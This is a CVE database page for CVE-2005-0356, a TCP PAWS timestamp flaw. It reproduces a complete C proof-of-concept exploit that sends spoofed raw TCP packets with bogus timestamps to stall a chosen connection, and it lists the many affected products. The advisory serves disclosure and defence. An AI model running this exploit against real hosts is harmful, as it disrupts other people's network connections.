CVE-2005-0356 : Detail

CVE-2005-0356

79.93%V4
Network
2005-05-31
02h00 +00:00
2017-07-10
12h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Multiple TCP implementations with Protection Against Wrapped Sequence Numbers (PAWS) with the timestamps option enabled allow remote attackers to cause a denial of service (connection loss) via a spoofed packet with a large timer value, which causes the host to discard later packets because they appear to be too old.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 1008

Publication date : 2005-05-20 22h00 +00:00
Author : Daniel Hartmeier
EDB Verified : Yes

/* * TCP does not adequately validate segments before updating timestamp value * http://www.kb.cert.org/vuls/id/637934 * * RFC-1323 (TCP Extensions for High Performance) * * 4.2.1 defines how the PAWS algorithm should drop packets with invalid * timestamp options: * * R1) If there is a Timestamps option in the arriving segment * and SEG.TSval < TS.Recent and if TS.Recent is valid (see * later discussion), then treat the arriving segment as not * acceptable: * * Send an acknowledgement in reply as specified in * RFC-793 page 69 and drop the segment. * * 3.4 defines what timestamp options to accept: * * (2) If Last.ACK.sent falls within the range of sequence numbers * of an incoming segment: * * SEG.SEQ <= Last.ACK.sent < SEG.SEQ + SEG.LEN * * then the TSval from the segment is copied to TS.Recent; * otherwise, the TSval is ignored. * * http://community.roxen.com/developers/idocs/drafts/ * draft-jacobson-tsvwg-1323bis-00.html * * 3.4 suggests an slightly different check like * * (2) If: SEG.TSval >= TSrecent and SEG.SEQ <= Last.ACK.sent * then SEG.TSval is copied to TS.Recent; otherwise, it is * ignored. * * and explains this change * * APPENDIX C: CHANGES FROM RFC-1072, RFC-1185, RFC-1323 * * There are additional changes in this document from RFC-1323. * These changes are: * (b) In RFC-1323, section 3.4, step (2) of the algorithm to control * which timestamp is echoed was incorrect in two regards: * (1) It failed to update TSrecent for a retransmitted segment * that resulted from a lost ACK. * (2) It failed if SEG.LEN = 0. * In the new algorithm, the case of SEG.TSval = TSrecent is * included for consistency with the PAWS test. * * At least OpenBSD and FreeBSD contain this code instead: * * sys/netinet/tcp_input.c tcp_input() * * ** * * If last ACK falls within this segment's sequence numbers, * * record its timestamp. * * NOTE that the test is modified according to the latest * * proposal of the tcplw@cray.com list (Braden 1993/04/26). * ** * if ((to.to_flags & TOF_TS) != 0 && * SEQ_LEQ(th->th_seq, tp->last_ack_sent)) { * tp->ts_recent_age = ticks; * tp->ts_recent = to.to_tsval; * } * * The problem here is that the packet the timestamp is accepted from doesn't * need to have a valid th_seq or th_ack. This point of execution is reached * for packets with arbitrary th_ack values and th_seq values of half the * possible value range, because the first 'if (todrop > tlen)' check in the * function explicitely continues execution to process ACKs. * * If an attacker knows (or guesses) the source and destination addresses and * ports of a connection between two peers, he can send spoofed TCP packets * to either peer containing bogus timestamp options. Since half of the * possible th_seq and timestamp values are accepted, four packets containing * two random values and their integer wraparound opposites are sufficient to * get one random timestamp accepted by the receipient. Further packets from * the real peer will get dropped by PAWS, and the TCP connection stalls and * times out. * * The following change reverts the tcp_input() check back to the implemented * suggested by draft-jacobson-tsvwg-1323bis-00.txt * * if (opti.ts_present && TSTMP_GEQ(opti.ts_val, tp->ts_recent) && * SEQ_LEQ(th->th_seq, tp->last_ack_sent)) { * + if (SEQ_LEQ(tp->last_ack_sent, th->th_seq + tlen + * + ((tiflags & (TH_SYN|TH_FIN)) != 0))) * + tp->ts_recent = opti.ts_val; * + else * + tp->ts_recent = 0; * tp->ts_recent_age = tcp_now; * - tp->ts_recent = opti.ts_val; * } * * I can't find Braden's proposal referenced in the comment. It seems to * pre-date draft-jacobson-tsvwg-1323bis-00.txt and might be outdated by * it. * * Fri Mar 11 02:33:36 MET 2005 Daniel Hartmeier <daniel@benzedrine.cx> * * http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/tcp_input.c.diff\ * ?r1=1.184&r2=1.185&f=h * * http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/netinet/tcp_input.c.diff\ * ?r1=1.252.2.15&r2=1.252.2.16&f=h * */ #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <net/if.h> #ifdef __FreeBSD__ #include <net/if_var.h> #endif #include <netinet/in.h> #include <netinet/in_var.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> static u_int16_t checksum(u_int16_t *data, u_int16_t length) { u_int32_t value = 0; u_int16_t i; for (i = 0; i < (length >> 1); ++i) value += data[i]; if ((length & 1) == 1) value += (data[i] << 8); value = (value & 65535) + (value >> 16); return (~value); } static int send_tcp(int sock, u_int32_t saddr, u_int32_t daddr, u_int16_t sport, u_int16_t dport, u_int32_t seq, u_int32_t ts) { u_char packet[1600]; struct tcphdr *tcp; struct ip *ip; unsigned char *opt; int optlen, len, r; struct sockaddr_in sin; memset(packet, 0, sizeof(packet)); opt = packet + sizeof(struct ip) + sizeof(struct tcphdr); optlen = 0; opt[optlen++] = TCPOPT_NOP; opt[optlen++] = TCPOPT_NOP; opt[optlen++] = TCPOPT_TIMESTAMP; opt[optlen++] = 10; ts = htonl(ts); memcpy(opt + optlen, &ts, sizeof(ts)); optlen += sizeof(ts); ts = htonl(0); memcpy(opt + optlen, &ts, sizeof(ts)); optlen += sizeof(ts); len = sizeof(struct ip) + sizeof(struct tcphdr) + optlen; ip = (struct ip *)packet; ip->ip_src.s_addr = saddr; ip->ip_dst.s_addr = daddr; ip->ip_p = IPPROTO_TCP; ip->ip_len = htons(sizeof(struct tcphdr) + optlen); tcp = (struct tcphdr *)(packet + sizeof(struct ip)); tcp->th_sport = htons(sport); tcp->th_dport = htons(dport); tcp->th_seq = htonl(seq); tcp->th_ack = 0; tcp->th_off = (sizeof(struct tcphdr) + optlen) / 4; tcp->th_flags = 0; tcp->th_win = htons(16384); tcp->th_sum = 0; tcp->th_urp = 0; tcp->th_sum = checksum((u_int16_t *)ip, len); ip->ip_v = 4; ip->ip_hl = 5; ip->ip_tos = 0; ip->ip_len = htons(len); ip->ip_id = htons(arc4random() % 65536); ip->ip_off = 0; ip->ip_ttl = 64; sin.sin_family = AF_INET; sin.sin_addr.s_addr = saddr; r = sendto(sock, packet, len, 0, (struct sockaddr *)&sin, sizeof(sin)); if (r != len) { perror("sendto"); return (1); } return (0); } static u_int32_t op(u_int32_t u) { return (u_int32_t)(((u_int64_t)u + 2147483648UL) % 4294967296ULL); } int main(int argc, char *argv[]) { u_int32_t saddr, daddr, seq, ts; u_int16_t sport, dport; int sock, i; if (argc != 5) { fprintf(stderr, "usage: %s <src ip> <src port> " "<dst ip> <dst port>\n", argv[0]); return (1); } saddr = inet_addr(argv[1]); daddr = inet_addr(argv[3]); sport = atoi(argv[2]); dport = atoi(argv[4]); sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) { perror("socket"); return (1); } i = 1; if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) == -1) { perror("setsockopt"); close(sock); return (1); } seq = arc4random(); ts = arc4random(); if (send_tcp(sock, saddr, daddr, sport, dport, seq, ts) || send_tcp(sock, saddr, daddr, sport, dport, seq, op(ts)) || send_tcp(sock, saddr, daddr, sport, dport, op(seq), ts) || send_tcp(sock, saddr, daddr, sport, dport, op(seq), op(ts))) { fprintf(stderr, "failed\n"); close(sock); return (1); } close(sock); printf("done\n"); return (0); } // milw0rm.com [2005-05-21]

Products Mentioned

Configuraton 0

Cisco>>Agent_desktop >> Version *

Cisco>>E-mail_manager >> Version *

Cisco>>Emergency_responder >> Version 1.1

Cisco>>Intelligent_contact_manager >> Version 5.0

Cisco>>Interactive_voice_response >> Version *

    Cisco>>Ip_contact_center_enterprise >> Version *

    Cisco>>Ip_contact_center_express >> Version *

    Cisco>>Meetingplace >> Version *

    Cisco>>Personal_assistant >> Version 1.3\(1\)

    Cisco>>Personal_assistant >> Version 1.3\(2\)

    Cisco>>Personal_assistant >> Version 1.3\(3\)

    Cisco>>Personal_assistant >> Version 1.3\(4\)

    Cisco>>Personal_assistant >> Version 1.4\(1\)

    Cisco>>Personal_assistant >> Version 1.4\(2\)

    Cisco>>Remote_monitoring_suite_option >> Version *

    Cisco>>Secure_access_control_server >> Version 2.0

      Cisco>>Secure_access_control_server >> Version 2.1

        Cisco>>Secure_access_control_server >> Version 2.3

          Cisco>>Secure_access_control_server >> Version 2.3

            Cisco>>Secure_access_control_server >> Version 2.3.5.1

              Cisco>>Secure_access_control_server >> Version 2.3.6.1

                Cisco>>Secure_access_control_server >> Version 2.4

                  Cisco>>Secure_access_control_server >> Version 2.5

                    Cisco>>Secure_access_control_server >> Version 2.6

                      Cisco>>Secure_access_control_server >> Version 2.6.2

                        Cisco>>Secure_access_control_server >> Version 2.6.3

                          Cisco>>Secure_access_control_server >> Version 2.6.4

                            Cisco>>Secure_access_control_server >> Version 2.42

                              Cisco>>Secure_access_control_server >> Version 3.0

                              Cisco>>Secure_access_control_server >> Version 3.0

                                Cisco>>Secure_access_control_server >> Version 3.0.1

                                  Cisco>>Secure_access_control_server >> Version 3.0.3

                                    Cisco>>Secure_access_control_server >> Version 3.1

                                    Cisco>>Secure_access_control_server >> Version 3.1.1

                                      Cisco>>Secure_access_control_server >> Version 3.2

                                      Cisco>>Secure_access_control_server >> Version 3.2

                                        Cisco>>Secure_access_control_server >> Version 3.2\(1\)

                                        Cisco>>Secure_access_control_server >> Version 3.2\(1.20\)

                                        Cisco>>Secure_access_control_server >> Version 3.2\(2\)

                                        Cisco>>Secure_access_control_server >> Version 3.2\(3\)

                                        Cisco>>Secure_access_control_server >> Version 3.2.1

                                        Cisco>>Secure_access_control_server >> Version 3.2.2

                                        Cisco>>Secure_access_control_server >> Version 3.3

                                        Cisco>>Secure_access_control_server >> Version 3.3\(1\)

                                        Cisco>>Secure_access_control_server >> Version 3.3.1

                                        Cisco>>Secure_access_control_server >> Version 3.3.2

                                        Cisco>>Support_tools >> Version *

                                        Cisco>>Web_collaboration_option >> Version *

                                        Hitachi>>Alaxala >> Version ax

                                          Cisco>>Call_manager >> Version 1.0

                                          Cisco>>Call_manager >> Version 2.0

                                          Cisco>>Call_manager >> Version 3.0

                                          Cisco>>Call_manager >> Version 3.1

                                          Cisco>>Call_manager >> Version 3.1\(2\)

                                          Cisco>>Call_manager >> Version 3.1\(3a\)

                                          Cisco>>Call_manager >> Version 3.2

                                          Cisco>>Call_manager >> Version 3.3

                                          Cisco>>Call_manager >> Version 3.3\(3\)

                                          Cisco>>Call_manager >> Version 4.0

                                          Cisco>>Unity_server >> Version 2.0

                                          Cisco>>Unity_server >> Version 2.1

                                          Cisco>>Unity_server >> Version 2.2

                                          Cisco>>Unity_server >> Version 2.3

                                          Cisco>>Unity_server >> Version 2.4

                                          Cisco>>Unity_server >> Version 2.46

                                          Cisco>>Unity_server >> Version 3.0

                                          Cisco>>Unity_server >> Version 3.1

                                          Cisco>>Unity_server >> Version 3.2

                                          Cisco>>Unity_server >> Version 3.3

                                          Cisco>>Unity_server >> Version 4.0

                                          Cisco>>Mgx_8230 >> Version 1.2.10

                                          Cisco>>Mgx_8230 >> Version 1.2.11

                                          Cisco>>Mgx_8250 >> Version 1.2.10

                                          Cisco>>Mgx_8250 >> Version 1.2.11

                                          Configuraton 0

                                          Cisco>>Ciscoworks_access_control_list_manager >> Version 1.5

                                          Cisco>>Ciscoworks_access_control_list_manager >> Version 1.6

                                          Cisco>>Ciscoworks_common_management_foundation >> Version 2.0

                                          Cisco>>Ciscoworks_common_management_foundation >> Version 2.1

                                          Cisco>>Ciscoworks_common_management_foundation >> Version 2.2

                                          Cisco>>Ciscoworks_common_services >> Version 2.2

                                          Cisco>>Ciscoworks_lms >> Version 1.3

                                          Cisco>>Ciscoworks_vpn_security_management_solution >> Version *

                                          Cisco>>Ciscoworks_windows >> Version *

                                          Cisco>>Webns >> Version 7.10_\(05.07\)s

                                          Cisco>>Webns >> Version 7.20_\(03.09\)s

                                          Cisco>>Webns >> Version 7.20_\(03.10\)s

                                          Cisco>>Webns >> Version 7.30_\(00.08\)s

                                          Cisco>>Webns >> Version 7.30_\(00.09\)s

                                          Nortel>>Business_communications_manager >> Version 200

                                            Nortel>>Business_communications_manager >> Version 400

                                              Nortel>>Business_communications_manager >> Version 1000

                                                Nortel>>Callpilot >> Version 200i

                                                  Nortel>>Callpilot >> Version 201i

                                                    Nortel>>Callpilot >> Version 702t

                                                      Nortel>>Callpilot >> Version 703t

                                                        Nortel>>Contact_center >> Version *

                                                        Cisco>>Content_services_switch_11000 >> Version *

                                                        Cisco>>Content_services_switch_11050 >> Version *

                                                        Cisco>>Content_services_switch_11150 >> Version *

                                                        Cisco>>Content_services_switch_11500 >> Version *

                                                        Cisco>>Content_services_switch_11501 >> Version *

                                                        Cisco>>Content_services_switch_11503 >> Version *

                                                        Cisco>>Content_services_switch_11506 >> Version *

                                                        Cisco>>Content_services_switch_11800 >> Version *

                                                        Nortel>>7220_wlan_access_point >> Version *

                                                        Nortel>>7250_wlan_access_point >> Version *

                                                        Nortel>>Ethernet_routing_switch_1612 >> Version *

                                                        Nortel>>Ethernet_routing_switch_1624 >> Version *

                                                        Nortel>>Ethernet_routing_switch_1648 >> Version *

                                                        Nortel>>Optical_metro_5000 >> Version *

                                                        Nortel>>Optical_metro_5100 >> Version *

                                                        Nortel>>Optical_metro_5200 >> Version *

                                                        Nortel>>Succession_communication_server_1000 >> Version *

                                                        Nortel>>Survivable_remote_gateway >> Version 1.0

                                                        Nortel>>Universal_signaling_point >> Version 5200

                                                          Nortel>>Universal_signaling_point >> Version compact_lite

                                                            Cisco>>Ciscoworks_1105_hosting_solution_engine >> Version *

                                                            Cisco>>Ciscoworks_1105_wireless_lan_solution_engine >> Version *

                                                            Cisco>>Ciscoworks_cd1 >> Version 1st

                                                              Cisco>>Ciscoworks_cd1 >> Version 2nd

                                                                Cisco>>Ciscoworks_cd1 >> Version 3rd

                                                                  Cisco>>Ciscoworks_cd1 >> Version 4th

                                                                    Cisco>>Ciscoworks_cd1 >> Version 5th

                                                                      Cisco>>Ciscoworks_windows_wug >> Version *

                                                                      Cisco>>Conference_connection >> Version 1.1\(1\)

                                                                      Cisco>>Conference_connection >> Version 1.2

                                                                      Freebsd>>Freebsd >> Version 1.1.5.1

                                                                      Freebsd>>Freebsd >> Version 2.0

                                                                      Freebsd>>Freebsd >> Version 2.0.5

                                                                      Freebsd>>Freebsd >> Version 2.1.0

                                                                      Freebsd>>Freebsd >> Version 2.1.5

                                                                      Freebsd>>Freebsd >> Version 2.1.6

                                                                      Freebsd>>Freebsd >> Version 2.1.6.1

                                                                      Freebsd>>Freebsd >> Version 2.1.7.1

                                                                      Freebsd>>Freebsd >> Version 2.2

                                                                      Freebsd>>Freebsd >> Version 2.2.2

                                                                      Freebsd>>Freebsd >> Version 2.2.3

                                                                      Freebsd>>Freebsd >> Version 2.2.4

                                                                      Freebsd>>Freebsd >> Version 2.2.5

                                                                      Freebsd>>Freebsd >> Version 2.2.6

                                                                      Freebsd>>Freebsd >> Version 2.2.8

                                                                      Freebsd>>Freebsd >> Version 3.0

                                                                      Freebsd>>Freebsd >> Version 3.0

                                                                        Freebsd>>Freebsd >> Version 3.1

                                                                        Freebsd>>Freebsd >> Version 3.2

                                                                        Freebsd>>Freebsd >> Version 3.3

                                                                        Freebsd>>Freebsd >> Version 3.4

                                                                        Freebsd>>Freebsd >> Version 3.5

                                                                        Freebsd>>Freebsd >> Version 3.5

                                                                          Freebsd>>Freebsd >> Version 3.5.1

                                                                          Freebsd>>Freebsd >> Version 3.5.1

                                                                            Freebsd>>Freebsd >> Version 3.5.1

                                                                              Freebsd>>Freebsd >> Version 4.0

                                                                              Freebsd>>Freebsd >> Version 4.0

                                                                                Freebsd>>Freebsd >> Version 4.0

                                                                                  Freebsd>>Freebsd >> Version 4.1

                                                                                  Freebsd>>Freebsd >> Version 4.1.1

                                                                                  Freebsd>>Freebsd >> Version 4.1.1

                                                                                    Freebsd>>Freebsd >> Version 4.1.1

                                                                                      Freebsd>>Freebsd >> Version 4.2

                                                                                      Freebsd>>Freebsd >> Version 4.2

                                                                                        Freebsd>>Freebsd >> Version 4.3

                                                                                        Freebsd>>Freebsd >> Version 4.3

                                                                                          Freebsd>>Freebsd >> Version 4.3

                                                                                            Freebsd>>Freebsd >> Version 4.3

                                                                                              Freebsd>>Freebsd >> Version 4.3

                                                                                                Freebsd>>Freebsd >> Version 4.4

                                                                                                Freebsd>>Freebsd >> Version 4.4

                                                                                                  Freebsd>>Freebsd >> Version 4.4

                                                                                                    Freebsd>>Freebsd >> Version 4.4

                                                                                                      Freebsd>>Freebsd >> Version 4.5

                                                                                                      Freebsd>>Freebsd >> Version 4.5

                                                                                                        Freebsd>>Freebsd >> Version 4.5

                                                                                                          Freebsd>>Freebsd >> Version 4.5

                                                                                                            Freebsd>>Freebsd >> Version 4.5

                                                                                                              Freebsd>>Freebsd >> Version 4.6

                                                                                                              Freebsd>>Freebsd >> Version 4.6

                                                                                                                Freebsd>>Freebsd >> Version 4.6

                                                                                                                  Freebsd>>Freebsd >> Version 4.6

                                                                                                                    Freebsd>>Freebsd >> Version 4.6

                                                                                                                      Freebsd>>Freebsd >> Version 4.6.2

                                                                                                                      Freebsd>>Freebsd >> Version 4.7

                                                                                                                      Freebsd>>Freebsd >> Version 4.7

                                                                                                                        Freebsd>>Freebsd >> Version 4.7

                                                                                                                          Freebsd>>Freebsd >> Version 4.7

                                                                                                                            Freebsd>>Freebsd >> Version 4.7

                                                                                                                              Freebsd>>Freebsd >> Version 4.8

                                                                                                                              Freebsd>>Freebsd >> Version 4.8

                                                                                                                                Freebsd>>Freebsd >> Version 4.8

                                                                                                                                  Freebsd>>Freebsd >> Version 4.8

                                                                                                                                    Freebsd>>Freebsd >> Version 4.9

                                                                                                                                    Freebsd>>Freebsd >> Version 4.9

                                                                                                                                      Freebsd>>Freebsd >> Version 4.9

                                                                                                                                        Freebsd>>Freebsd >> Version 4.10

                                                                                                                                        Freebsd>>Freebsd >> Version 4.10

                                                                                                                                          Freebsd>>Freebsd >> Version 4.10

                                                                                                                                            Freebsd>>Freebsd >> Version 4.10

                                                                                                                                              Freebsd>>Freebsd >> Version 4.11

                                                                                                                                                Freebsd>>Freebsd >> Version 4.11

                                                                                                                                                  Freebsd>>Freebsd >> Version 4.11

                                                                                                                                                    Freebsd>>Freebsd >> Version 5.0

                                                                                                                                                    Freebsd>>Freebsd >> Version 5.0

                                                                                                                                                      Freebsd>>Freebsd >> Version 5.0

                                                                                                                                                        Freebsd>>Freebsd >> Version 5.0

                                                                                                                                                          Freebsd>>Freebsd >> Version 5.1

                                                                                                                                                          Freebsd>>Freebsd >> Version 5.1

                                                                                                                                                            Freebsd>>Freebsd >> Version 5.1

                                                                                                                                                              Freebsd>>Freebsd >> Version 5.1

                                                                                                                                                                Freebsd>>Freebsd >> Version 5.1

                                                                                                                                                                  Freebsd>>Freebsd >> Version 5.2

                                                                                                                                                                  Freebsd>>Freebsd >> Version 5.2.1

                                                                                                                                                                    Freebsd>>Freebsd >> Version 5.2.1

                                                                                                                                                                      Freebsd>>Freebsd >> Version 5.3

                                                                                                                                                                      Freebsd>>Freebsd >> Version 5.3

                                                                                                                                                                        Freebsd>>Freebsd >> Version 5.3

                                                                                                                                                                          Freebsd>>Freebsd >> Version 5.3

                                                                                                                                                                            Freebsd>>Freebsd >> Version 5.4

                                                                                                                                                                              Freebsd>>Freebsd >> Version 5.4

                                                                                                                                                                                Microsoft>>Windows_2000 >> Version *

                                                                                                                                                                                Microsoft>>Windows_2000 >> Version *

                                                                                                                                                                                Microsoft>>Windows_2000 >> Version *

                                                                                                                                                                                Microsoft>>Windows_2000 >> Version *

                                                                                                                                                                                Microsoft>>Windows_2000 >> Version *

                                                                                                                                                                                Microsoft>>Windows_2003_server >> Version enterprise

                                                                                                                                                                                  Microsoft>>Windows_2003_server >> Version enterprise_64-bit

                                                                                                                                                                                    Microsoft>>Windows_2003_server >> Version r2

                                                                                                                                                                                      Microsoft>>Windows_2003_server >> Version r2

                                                                                                                                                                                        Microsoft>>Windows_2003_server >> Version standard

                                                                                                                                                                                          Microsoft>>Windows_2003_server >> Version standard_64-bit

                                                                                                                                                                                            Microsoft>>Windows_2003_server >> Version web

                                                                                                                                                                                              Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                  Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                  Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                  Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                  Microsoft>>Windows_xp >> Version *

                                                                                                                                                                                                  Openbsd>>Openbsd >> Version 3.0

                                                                                                                                                                                                  Openbsd>>Openbsd >> Version 3.1

                                                                                                                                                                                                  Openbsd>>Openbsd >> Version 3.2

                                                                                                                                                                                                  Openbsd>>Openbsd >> Version 3.3

                                                                                                                                                                                                  Openbsd>>Openbsd >> Version 3.4

                                                                                                                                                                                                  Openbsd>>Openbsd >> Version 3.5

                                                                                                                                                                                                  Openbsd>>Openbsd >> Version 3.6

                                                                                                                                                                                                  Alaxala>>Alaxala_networks >> Version ax5400s

                                                                                                                                                                                                    Alaxala>>Alaxala_networks >> Version ax7800r

                                                                                                                                                                                                      Alaxala>>Alaxala_networks >> Version ax7800s

                                                                                                                                                                                                        Configuraton 0

                                                                                                                                                                                                        Cisco>>Aironet_ap1200 >> Version *

                                                                                                                                                                                                        Cisco>>Aironet_ap350 >> Version *

                                                                                                                                                                                                        Cisco>>Sn_5420_storage_router >> Version *

                                                                                                                                                                                                        Hitachi>>Gr3000 >> Version *

                                                                                                                                                                                                          Hitachi>>Gr4000 >> Version *

                                                                                                                                                                                                            Hitachi>>Gs4000 >> Version *

                                                                                                                                                                                                              Yamaha>>Rt105 >> Version *

                                                                                                                                                                                                                Yamaha>>Rt250i >> Version *

                                                                                                                                                                                                                  Yamaha>>Rt300i >> Version *

                                                                                                                                                                                                                    Yamaha>>Rt57i >> Version *

                                                                                                                                                                                                                    Yamaha>>Rtv700 >> Version *

                                                                                                                                                                                                                      Yamaha>>Rtx1000 >> Version *

                                                                                                                                                                                                                        Yamaha>>Rtx1100 >> Version *

                                                                                                                                                                                                                          Yamaha>>Rtx1500 >> Version *

                                                                                                                                                                                                                            Yamaha>>Rtx2000 >> Version *

                                                                                                                                                                                                                              Cisco>>Sn_5420_storage_router_firmware >> Version 1.1\(2\)

                                                                                                                                                                                                                              Cisco>>Sn_5420_storage_router_firmware >> Version 1.1\(3\)

                                                                                                                                                                                                                              Cisco>>Sn_5420_storage_router_firmware >> Version 1.1\(4\)

                                                                                                                                                                                                                              Cisco>>Sn_5420_storage_router_firmware >> Version 1.1\(5\)

                                                                                                                                                                                                                              Cisco>>Sn_5420_storage_router_firmware >> Version 1.1\(7\)

                                                                                                                                                                                                                              Cisco>>Sn_5420_storage_router_firmware >> Version 1.1.3

                                                                                                                                                                                                                              Cisco>>Sn_5428_storage_router >> Version 2-3.3.1-k9

                                                                                                                                                                                                                              Cisco>>Sn_5428_storage_router >> Version 2-3.3.2-k9

                                                                                                                                                                                                                              Cisco>>Sn_5428_storage_router >> Version 2.5.1-k9

                                                                                                                                                                                                                              Cisco>>Sn_5428_storage_router >> Version 3.2.1-k9

                                                                                                                                                                                                                              Cisco>>Sn_5428_storage_router >> Version 3.2.2-k9

                                                                                                                                                                                                                              Cisco>>Sn_5428_storage_router >> Version 3.3.1-k9

                                                                                                                                                                                                                              Cisco>>Sn_5428_storage_router >> Version 3.3.2-k9

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.0

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.2

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.3

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.4

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.5

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.5.6

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.5.9

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.5.10

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.5.11

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.5.12

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.6

                                                                                                                                                                                                                              F5>>Tmos >> Version 4.6.2

                                                                                                                                                                                                                              F5>>Tmos >> Version 9.0

                                                                                                                                                                                                                              F5>>Tmos >> Version 9.0.1

                                                                                                                                                                                                                              F5>>Tmos >> Version 9.0.2

                                                                                                                                                                                                                              F5>>Tmos >> Version 9.0.3

                                                                                                                                                                                                                              F5>>Tmos >> Version 9.0.4

                                                                                                                                                                                                                              F5>>Tmos >> Version 9.0.5

                                                                                                                                                                                                                              References

                                                                                                                                                                                                                              http://secunia.com/advisories/15393
                                                                                                                                                                                                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                                                                                                                                              http://www.kb.cert.org/vuls/id/637934
                                                                                                                                                                                                                              Tags : third-party-advisory, x_refsource_CERT-VN
                                                                                                                                                                                                                              http://secunia.com/advisories/15417/
                                                                                                                                                                                                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                                                                                                                                              http://secunia.com/advisories/18662
                                                                                                                                                                                                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                                                                                                                                              http://www.securityfocus.com/bid/13676
                                                                                                                                                                                                                              Tags : vdb-entry, x_refsource_BID
                                                                                                                                                                                                                              http://secunia.com/advisories/18222
                                                                                                                                                                                                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                                                                                                                                              The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.